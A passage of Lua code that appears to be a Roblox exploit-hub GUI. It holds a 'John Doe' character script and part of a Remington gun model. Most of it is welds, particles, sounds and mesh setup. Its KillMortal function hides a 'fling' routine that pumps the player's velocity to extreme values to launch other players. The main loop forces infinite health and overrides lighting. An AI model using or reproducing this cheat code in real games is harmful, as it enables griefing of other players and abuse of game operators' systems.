		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111051148, 0.999994755, -0.00304800388, -0.00933665223, 0.00305824145, 0.99995178),C1 = CFrame.new(-0.400013447, 0.500005245, 0.400009155, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
		CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000006, 0.200000003),CFrame = CFrame.new(2.69684124, 1.71498096, 0.250625998, 0.999955714, 0.00111051137, -0.00933665317, -0.00108199974, 0.999994755, 0.00305824191, 0.00933999754, -0.00304800365, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111051148, 0.999994755, -0.00304800388, -0.00933665223, 0.00305824145, 0.99995178),C1 = CFrame.new(-1.63316727e-005, 0.400005937, 0.400005102, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
		ScatterEff(EffCorruptedPart)
	
		sa = RightArm:GetChildren()
		for i = 1, #sa do
			ScatterEff(sa[i])
		end
	
		local eff1 = Instance.new("ParticleEmitter",EyeFire)
		eff1.Size = NumberSequence.new(.1)
		eff1.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})
		eff1.LightEmission = 1
		eff1.Lifetime = NumberRange.new(.5)
		eff1.Speed = NumberRange.new(1)
		eff1.EmissionDirection = "Front"
		eff1.Rate = 100
		eff1.Texture = "rbxassetid://347504241"
		eff1.Acceleration = Vector3.new(0,10,0)
		eff1.Color = ColorSequence.new(Color3.new(1,0,0))
		local eff2 = Instance.new("ParticleEmitter",EyeFire)
		eff2.Size = NumberSequence.new(.1)
		eff2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})
		eff2.LightEmission = 1
		eff2.Lifetime = NumberRange.new(.5)
		eff2.Speed = NumberRange.new(1)
		eff2.EmissionDirection = "Front"
		eff2.Rate = 100
		eff2.Texture = "rbxassetid://347504259"
		eff2.Acceleration = Vector3.new(0,10,0)
		eff2.Color = ColorSequence.new(Color3.new(1,0,0))
		local eff3 = Instance.new("ParticleEmitter",EyeFire)
		eff3.Size = NumberSequence.new(.1)
		eff3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(1,1)})
		eff3.LightEmission = 1
		eff3.Lifetime = NumberRange.new(.5)
		eff3.Speed = NumberRange.new(1)
		eff3.EmissionDirection = "Front"
		eff3.Rate = 100
		eff3.Texture = "rbxasset://textures/particles/fire_main.dds"
		eff3.Acceleration = Vector3.new(0,10,0)
		eff3.Color = ColorSequence.new(Color3.new(1,0,0))
	
		--Sounds--
		slashsnd = New("Sound",chara.Torso,"Slash",{SoundId = "rbxassetid://28144425",PlaybackSpeed = .7,Volume = 5})
		hitsnd = New("Sound",chara.Torso,"Hit",{SoundId = "rbxassetid://429400881",PlaybackSpeed = .7,Volume = 5})
		telesnd = New("Sound",chara.Torso,"Tele",{SoundId = "rbxassetid://2767090",PlaybackSpeed = .7,Volume = 5})
		burnsnd = New("Sound",chara.Torso,"Burn",{SoundId = "rbxassetid://32791565",PlaybackSpeed = .7,Volume = 5})
		music1 = New("Sound",chara.Torso,"Music1",{SoundId = "rbxassetid://151038517",PlaybackSpeed = .5,Volume = 10,Looped = true})
		music2 = New("Sound",chara.Torso,"Music2",{SoundId = "rbxassetid://11984351",PlaybackSpeed = .2,Volume = 5,Looped = true})
		deathmus = New("Sound",chara.Torso,"DeathMus",{SoundId = "rbxassetid://19094700",PlaybackSpeed = .5,Volume = 5,Looped = true})
		deathex = New("Sound",chara.Torso,"DeathEx",{SoundId = "rbxassetid://11984351",PlaybackSpeed = 1,Volume = 5})
		music1:Play()
		music2:Play()
	
		--Animations--
		swinganim = chara.Humanoid:LoadAnimation(New("Animation",chara,"Swing",{AnimationId = "rbxassetid://186934658"}))
	
		--Name Tag--
		local naeeym = Instance.new("BillboardGui",chara)
		naeeym.Size = UDim2.new(0,100,0,40)
		naeeym.StudsOffset = Vector3.new(0,2,0)
		naeeym.Adornee = chara.Head
		local tecks = Instance.new("TextLabel",naeeym)
		tecks.BackgroundTransparency = 1
		tecks.BorderSizePixel = 0
		tecks.Text = "John Doe"
		tecks.Font = "Fantasy"
		tecks.FontSize = "Size24"
		tecks.TextStrokeTransparency = 0
		tecks.TextStrokeColor3 = Color3.new(0,0,0)
		tecks.TextColor3 = Color3.new(0,0,0)
		tecks.Size = UDim2.new(1,0,0.5,0)
	
		--Skybox--
		skybox = Instance.new("Part",chara)
		skybox.Size = Vector3.new(0,0,0)
		skybox.Anchored = true
		skybox.CanCollide = true
		skyboxmesh = Instance.new("SpecialMesh",skybox)
		skyboxmesh.MeshId = "http://www.roblox.com/asset/?id=1527559"
		skyboxmesh.TextureId = "http://www.roblox.com/asset/?id=1529455"
		skyboxmesh.VertexColor = Vector3.new(1,0,0)
		skyboxmesh.Scale = Vector3.new(-3000,-1000,-3000)
	
		--Soul Steal--
		function SoulSteal(pos)
			local soulst = coroutine.wrap(function()
				local soul = Instance.new("Part",chara)
				soul.Size = Vector3.new(0,0,0)
				soul.CanCollide = false
				soul.Anchored = false
				soul.Position = pos
				soul.CFrame = CFrame.new(pos.X,pos.Y,pos.Z)
				soul.Transparency = 1
				local ptc = Instance.new("ParticleEmitter",soul)
				ptc.Texture = "http://www.roblox.com/asset/?id=413366101"
				ptc.Size = NumberSequence.new(.5)
				ptc.LockedToPart = true
				ptc.Speed = NumberRange.new(0)
				ptc.Lifetime = NumberRange.new(9999)
				local bodpos = Instance.new("BodyPosition",soul)
				bodpos.Position = pos
				wait(2)
				soul.Touched:connect(function(hit)
					if hit.Parent == chara then
						soul:Destroy()
					end
				end)
				while soul do
					wait(.1)
					bodpos.Position = chara.Torso.Position
				end
			end)
			soulst()
		end
	
		--Death of a Mortal--
		function KillMortal(hitdude)
	
			---------------------------------------------------------------------------------
	
			if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
				hiddenfling = true
			else
				hiddenfling = true
				detection = Instance.new("Decal")
				detection.Name = "juisdfj0i32i0eidsuf0iok"
				detection.Parent = game:GetService("ReplicatedStorage")
				local function fling()
					local hrp, c, vel, movel = nil, nil, nil, 0.1
					while true do
						game:GetService("RunService").Heartbeat:Wait()
						if hiddenfling then
							local lp = game.Players.LocalPlayer
							while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
								game:GetService("RunService").Heartbeat:Wait()
								c = lp.Character
								hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
							end
							if hiddenfling then
								vel = hrp.Velocity
								hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
								game:GetService("RunService").RenderStepped:Wait()
								if c and c.Parent and hrp and hrp.Parent then
									hrp.Velocity = vel
								end
								game:GetService("RunService").Stepped:Wait()
								if c and c.Parent and hrp and hrp.Parent then
									hrp.Velocity = vel + Vector3.new(0, movel, 0)
									movel = movel * -1
								end
							end
						end
					end
				end
	
				fling()
			end
	
			wait(2)
	
			hiddenfling = false
	
	
		end
	
		--Arm Touch--
		bladeactive = false
		Hitbox.Touched:connect(function(hit)
			if bladeactive == true then
				if hit.Parent:FindFirstChild("Humanoid")~= nil and hit.Parent:FindFirstChild("HasBeenHit")== nil and hit.Parent ~= chara then
					hitsnd:Play()
					KillMortal(hit.Parent)
				end
			end
		end)
	
		--Teleport--
		function Teleport(pos)
			telesnd:Play()
			local ch = chara:GetChildren()
			for i = 1, #ch do
				if ch[i].ClassName == "Part" and ch[i].Name ~= "HumanoidRootPart" then
					local trace = Instance.new("Part",game.Workspace)
					trace.Size = ch[i].Size
					trace.Material = "Neon"
					trace.BrickColor = BrickColor.new("Really black")
					trace.Transparency = .3
					trace.CanCollide = false
					trace.Anchored = true
					trace.CFrame = ch[i].CFrame
					if ch[i].Name == "Head" then
						mehs = Instance.new("CylinderMesh",trace)
						mehs.Scale = Vector3.new(1.25,1.25,1.25)
					end
					tracedisappear = coroutine.wrap(function()
						wait(1)
						for i = 1, 7 do
							wait(.1)
							trace.Transparency = trace.Transparency + .1
						end
						trace:Destroy()
					end)
					tracedisappear()
				end
			end
			chara.Torso.CFrame = CFrame.new(pos.X,pos.Y,pos.Z)
		end
	
		--Grab--
		function Grab(mouse)
			local hit = mouse.Target
			if hit ~= nil then
				if hit.Parent:FindFirstChild("Humanoid")~=nil then
					local torsy = nil
					if hit.Parent:FindFirstChild("Torso")~=nil then
						torsy = hit.Parent.Torso
					elseif hit.Parent:FindFirstChild("UpperTorso")~=nil then
						torsy = hit.Parent.UpperTorso
					end
					local bodpos = Instance.new("BodyPosition",torsy)
					bodpos.Position = torsy.Position
					wait(1)
					burnsnd:Play()
					hit.Parent.Humanoid.MaxHealth = 100
					bodpos.Position = bodpos.Position + Vector3.new(0,4,0)
					for i = 1, 10 do
						wait(.1)
						BurningEff(torsy)
						hit.Parent.Humanoid.Health = hit.Parent.Humanoid.Health
					end
					KillMortal(hit.Parent)
				end
			else end
		end
	
		--Button1Down--
		dell = false
		function onButton1Down()
			if dell == false then
				dell = true
				swinganim:Play()
				bladeactive = true
				slashsnd:Play()
				wait(.7)
				bladeactive = false
				dell = false
				swinganim:Stop()
			end
		end
	
		--KeyDowns--
		function onKeyDown(key)
			if key == "z" then
				Teleport(Mouse.Hit.p + Vector3.new(0,2,0))
			elseif key == "x" then
				Grab(Mouse)
			end
		end
	
		--Mouse Functions--
		Mouse = player:GetMouse()
		if Mouse then
			Mouse.Button1Down:connect(onButton1Down)
			Mouse.KeyDown:connect(onKeyDown)
		end
	
		--Death--
		chara.Humanoid.Died:connect(function()
			local pat = Instance.new("Part",game.Workspace)
			pat.Transparency = 1
			pat.Anchored = true
			pat.CFrame = chara.Torso.CFrame
			naeeym.Parent = pat
			naeeym.Adornee = pat
			skybox.Parent = game.Workspace
			tecks.Text = "BAD CHOICE"
			tecks.FontSize = "Size48"
			tecks.TextColor3 = Color3.new(1,0,0)
			music1:Stop()
			music2:Stop()
			deathmus.Parent = game.Workspace
			deathex.Parent = game.Workspace
			deathmus:Play()
			deathex:Play()
			game.Lighting.OutdoorAmbient = Color3.new(0,0,0)
			game.Lighting.TimeOfDay = "00:00:00"
			game.Lighting.FogColor = Color3.new(0,0,0)
			game.Lighting.FogEnd = 1000
	
		end)
	
		--Loop Function--
		while true do
			wait(.01)
			chance = math.random(0,100)
			if chance < 10 then
				sel = math.random(1,3)
				if sel == 1 then
					tecks.Text = "NOHOPE"
				elseif sel == 2 then
					tecks.Text = "GIVEUP"
				elseif sel == 3 then
					tecks.Text = "BURNINHELL"
				end
			else tecks.Text = "John Doe"
			end
			if chara.Humanoid.Health > 0 then
				chara.Humanoid.MaxHealth = math.huge
				chara.Humanoid.Health = math.huge
				game.Lighting.OutdoorAmbient = Color3.new(1,0,0)
				game.Lighting.Ambient = Color3.new(1,0,0)
				chara["Left Arm"].BrickColor = BrickColor.new("Cool yellow")
				chara["Right Arm"].BrickColor = BrickColor.new("Cool yellow")
				chara["Left Leg"].BrickColor = BrickColor.new("Medium blue")
				chara["Right Leg"].BrickColor = BrickColor.new("Medium blue")
				chara.Torso.BrickColor = BrickColor.new("Bright yellow")
				chara["Left Arm"].Anchored = false
				chara["Right Arm"].Anchored = false
				chara["Left Leg"].Anchored = false
				chara["Right Leg"].Anchored = false
				chara.Torso.Anchored = false
				ch = chara:GetChildren()
				for i = 1, #ch do
					if ch[i].ClassName == "Accessory" or ch[i].ClassName == "Hat" then
						ch[i]:Destroy()
					end
				end
				tools = player.Backpack:GetChildren()
				for i = 1, #tools do
					if tools[i].ClassName == "HopperBin" then
						tools[i]:Destroy()
					end
				end
				skybox.CFrame = skybox.CFrame * CFrame.fromEulerAnglesXYZ(0,math.rad(1),0)
				tecks.Position = UDim2.new(0,math.random(-3,3),0,math.random(-3,3))
				local jtrace = Instance.new("Part",game.Workspace)
				jtrace.Name = "JDTrace"
				jtrace.Size = Vector3.new(10,0,10)
				jtrace.Position = chara.Torso.Position
				jtrace.CFrame = chara.Torso.CFrame - Vector3.new(0,3,0)
				jtrace.Anchored = true
				jtrace.CanCollide = false
				jtrace.BrickColor = BrickColor.new("Really black")
				jtrace.Material = "Granite"
				BurningEff(jtrace)
				game.Debris:AddItem(jtrace,1)
			end
		end
	
	end)
end;
task.spawn(C_93);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
local function C_95()
local script = G2L["95"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		--[[Start Up]]--
	
		Plr = game:service'Players'.LocalPlayer
		Char = Plr.Character
		Mouse = Plr:GetMouse()
		head = Char.Head
		Numb = 34
		local sway = false
		local spread = 25
		Char.Humanoid.WalkSpeed = 25
		game:service'UserInputService'.MouseIconEnabled = false
		local CurA,StoA = 8,8*8
		local RTilt = 0
		local CurrentRightArmAngle = CFrame.new(0,0,0)
		local CurrentLeftArmAngle = CFrame.new(0,0,0)
		local CurCam = workspace.CurrentCamera
		local CurCamCF = CurCam.CoordinateFrame
		local MouseDown = false
		local Mouse2Down = false
		local CurAming = false
	
		--[[Limbs and Extra Calls]]--
		local Gui,Frame,Ammo,Stored,Mode,Slash,HitM = nil,nil,nil,nil,nil,nil,nil
		local ra,la,ts,hd,ll,rl,root,humanoid = Char:FindFirstChild'Right Arm',Char:FindFirstChild'Left Arm',Char:FindFirstChild'Torso',Char:FindFirstChild'Head',Char:FindFirstChild'Left Leg',Char:FindFirstChild'Right Leg',Char:FindFirstChild'HumanoidRootPart',Char:FindFirstChild'Humanoid'
		local rarm,larm,hed,torso,hroot,lleg,hum,rleg = ra,la,hd,ts,root,ll,humanoid,rl
		local plr,char,mouse = Plr,Char,Mouse
		local AbleToShoot,Reloading = true,false
		local Stance = 'Standing'
	
		Weld = function(P0,P1,CF)
			local W = Instance.new('Weld',P1)
			W.Part0 = P0
			W.Part1 = P1
			W.C1 = CF
			return W
		end;
	
		NewSound = function(Parent, Id)
			local Sound = Instance.new('Sound',Parent)
			Sound.SoundId = 'rbxassetid://'..Id
			return Sound
		end
	
		rad = function(Int)
			return math.rad(tonumber(Int))
		end;
		sin = function(Int)
			return math.sin(tonumber(Int))
		end;
		cos = function(Int)
			return math.cos(tonumber(Int))
		end;
		Angles = function(X,Y,Z)
			return CFrame.Angles(X,Y,Z);
		end;
		Euler = function(X,Y,Z)
			return CFrame.fromEulerAnglesXYZ(X,Y,Z);
		end;
		CF = function(X,Y,Z)
			return CFrame.new(X,Y,Z);
		end;
	
		--[[
				Used FM Remington cuz am lazeh, and because am shitty builder :]
		]]--
	
		New = function(Object, Parent, Name, Data)
			local Object = Instance.new(Object)
			if Object:IsA'Part' then
				Object.Anchored = false
				Object.CanCollide = false
				Object.Locked = true
				Object.TopSurface,Object.BottomSurface = 10,10
				Object.RightSurface,Object.LeftSurface = 10,10
				Object.FrontSurface,Object.BackSurface = 10,10
			end
			for Index, Value in pairs(Data or {}) do
				Object[Index] = Value
			end
			Object.Parent = Parent
			Object.Name = Name
			return Object
		end
	
		Remington_Model = New("Model",Char,"Remington_Model",{})
		Handle = New("Part",Remington_Model,"Handle",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 33.9850006, 237.936005, -0.999999285, -4.63094153e-007, 4.75211408e-008, -4.62646199e-007, 0.999957621, 0.00901973993, -5.16960341e-008, 0.00901967287, -0.999956906),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Railing = New("Part",Remington_Model,"Railing",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 1, 1),CFrame = CFrame.new(198.994003, 34.3590012, 238.377991, 0.999999642, -3.02357672e-009, 1.71927127e-007, 1.91533611e-009, 0.999978185, 0.00644560531, -1.71942887e-007, -0.00644563325, 0.999977827),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("SpecialMesh",Railing,"Mesh",{Scale = Vector3.new(0.114285715, 0.0285714287, 0.0571428575),MeshType = Enum.MeshType.Torso,})
		mot = New("Motor",Railing,"mot",{Part0 = Railing,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 0.999999642, 1.91534322e-009, -1.71943029e-007, -3.02359804e-009, 0.99997896, -0.00644563884, 1.71927127e-007, 0.00644560996, 0.999978602),C1 = CFrame.new(0, 0.377971649, -0.438598633, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		GR = New("Part",Remington_Model,"GR",{BrickColor = BrickColor.new("Lime green"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.970001, 34.4070015, 238.164001, -2.55810937e-005, 0.99999541, 4.44010794e-007, 0.00644205138, -2.61311766e-006, 0.999974191, 0.999975204, 2.87519579e-005, -0.00644677132),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0, 1, 0),})
		Mesh = New("BlockMesh",GR,"Mesh",{Scale = Vector3.new(0.0700000003, 0.0700000003, 0.0700000003),})
		Fire = New("Fire",GR,"Fire",{Size = 30,Color = Color3.new(1, 0.678431, 0),Enabled = false,Heat = 25,SecondaryColor = Color3.new(1, 0, 0),})
		mot = New("Motor",GR,"mot",{Part0 = GR,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -2.55811137e-005, 0.00644209515, 0.999978006, 0.999996126, -2.61312243e-006, 2.87520379e-005, 4.4401105e-007, 0.999976337, -0.00644675922),C1 = CFrame.new(0.0240020752, 0.424041748, -0.224182129, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Railing = New("Part",Remington_Model,"Railing",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 1, 1),CFrame = CFrame.new(198.994003, 34.3609962, 238.606995, 0.999998927, -3.02360537e-009, 1.71926985e-007, 1.91531191e-009, 0.999976873, 0.00644556619, -1.7194256e-007, -0.00644565001, 0.999975801),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("SpecialMesh",Railing,"Mesh",{Scale = Vector3.new(0.114285715, 0.0285714287, 0.0571428575),MeshType = Enum.MeshType.Torso,})
		mot = New("Motor",Railing,"mot",{Part0 = Railing,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 0.999999642, 1.91534322e-009, -1.71943029e-007, -3.02359804e-009, 0.99997896, -0.00644563884, 1.71927127e-007, 0.00644560996, 0.999978602),C1 = CFrame.new(0, 0.382034302, -0.667572021, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		PumpPartMain = New("Part",Remington_Model,"PumpPartMain",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.234782606, 1.12173915, 0.234782606),CFrame = CFrame.new(199.001999, 34.0569954, 240.026001, 0.999999285, -1.42108547e-013, 3.94129174e-015, -5.27355937e-016, -0.000125713646, -0.999998391, 9.59232693e-014, 0.999997675, -0.00012565311),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("CylinderMesh",PumpPartMain,"Mesh",{Offset = Vector3.new(0, -0.100000001, 0),})
		mot = New("Motor",PumpPartMain,"mot",{Part0 = PumpPartMain,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 0, 1.22624133e-013, -1.22624187e-013, -0.000125683844, 1.00000048, 1.54548126e-017, -1.00000048, -0.000125683844),C1 = CFrame.new(-0.00799560547, 0.0908432007, -2.08926392, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		A7 = New("Part",Remington_Model,"A7",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.443478256, 0.200000003),CFrame = CFrame.new(198.947998, 34.269001, 238.50499, 0.999999285, -1.42108547e-013, 2.12885265e-014, -5.27355937e-016, 0.000126323663, -0.999998391, 9.59232693e-014, 0.999997675, 0.000126384199),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("CylinderMesh",A7,"Mesh",{Scale = Vector3.new(0.347826093, 1, 0.347826093),})
		mot = New("Motor",A7,"mot",{Part0 = A7,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -6.61933336e-015, 1.2262412e-013, -1.22623333e-013, 0.000126354396, 1.00000048, -6.63487345e-015, -1.00000048, 0.000126354396),C1 = CFrame.new(0.046005249, 0.28911972, -0.56640625, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.3569984, 238.17598, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.611111104, 0.111111112, 0.166666672),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.374149323, -0.236618042, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		A8 = New("Part",Remington_Model,"A8",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.912994, 34.2250023, 238.669998, -0.999999285, -1.45661261e-013, -2.66453526e-015, 5.27355937e-016, -0.000125684775, 0.999998152, -9.59232693e-014, 0.999997437, 0.000125624239),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("BlockMesh",A8,"Mesh",{Scale = Vector3.new(0.0434782617, 0.565217376, 0.173913032),})
		mot = New("Motor",A8,"mot",{Part0 = A8,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 0, -1.22624133e-013, -1.2262416e-013, -0.000125654042, 1.00000024, -1.54511581e-017, 1.00000024, 0.000125654042),C1 = CFrame.new(0.0810089111, 0.246612549, -0.731796265, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		PumpPart = New("Part",Remington_Model,"PumpPart",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.739130676, 0.200000003, 0.200000003),CFrame = CFrame.new(198.916992, 33.8669968, 239.969986, 1.6876038e-005, 0.499981523, -0.866035283, 6.33057207e-005, 0.866034031, 0.499980837, 0.999997139, -6.33145683e-005, -1.70664862e-005),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("BlockMesh",PumpPart,"Mesh",{Offset = Vector3.new(-0.100000001, 0, 0),Scale = Vector3.new(1, 0.0434782617, 0.652174175),})
		mot = New("Motor",PumpPart,"mot",{Part0 = PumpPart,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1.68760507e-005, 6.33350865e-005, 1, 0.49998188, 0.866035879, -6.32881711e-005, -0.866035879, 0.49998188, -1.70511285e-005),C1 = CFrame.new(0.0770111084, -0.0996513367, -2.03497314, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		PumpPart = New("Part",Remington_Model,"PumpPart",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 1.1565218, 0.200000003),CFrame = CFrame.new(199.001999, 34.0480003, 240.035004, 0.999999285, -1.45661261e-013, 2.66453526e-015, -5.27355937e-016, -0.000125684775, -0.999998152, 9.59232693e-014, 0.999997437, -0.000125624239),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("CylinderMesh",PumpPart,"Mesh",{Offset = Vector3.new(0, -0.100000001, 0),Scale = Vector3.new(0.913043439, 1, 0.913043439),})
		mot = New("Motor",PumpPart,"mot",{Part0 = PumpPart,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 0, 1.22624133e-013, -1.2262416e-013, -0.000125654042, 1.00000024, 1.54511581e-017, -1.00000024, -0.000125654042),C1 = CFrame.new(-0.00799560547, 0.0819282532, -2.0983429, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		A6 = New("Part",Remington_Model,"A6",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.443478256, 0.200000003),CFrame = CFrame.new(198.917999, 34.2080002, 238.50499, -0.999999285, -1.42108547e-013, -6.07847106e-015, 5.27355937e-016, 6.32470474e-005, 0.999998093, -9.59232693e-014, 0.999997377, -6.33075833e-005),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("BlockMesh",A6,"Mesh",{Scale = Vector3.new(0.0434782617, 1, 0.608695626),})
		mot = New("Motor",A6,"mot",{Part0 = A6,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 0, -1.22624133e-013, -1.2262416e-013, 6.3277781e-005, 1.00000024, 7.71644285e-018, 1.00000024, -6.3277781e-005),C1 = CFrame.new(0.0760040283, 0.228122711, -0.566955566, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		PumpPart = New("Part",Remington_Model,"PumpPart",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.958984, 33.9389992, 240.338989, 0.000125989245, 0.866035521, 0.499981582, 3.19443643e-007, -0.499980778, 0.866034091, 0.999997437, -0.000108920503, -6.33224845e-005),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("CylinderMesh",PumpPart,"Mesh",{Offset = Vector3.new(-0.100000001, 0, 0),Scale = Vector3.new(0.869565248, 0.652173877, 0.869565248),})
		mot = New("Motor",PumpPart,"mot",{Part0 = PumpPart,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 0.000125989318, 3.50177373e-007, 1.00000024, 0.866036117, -0.499981821, -0.000108936219, 0.49998194, 0.866035938, -6.3295658e-005),C1 = CFrame.new(0.0350189209, -0.0243263245, -2.40330505, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
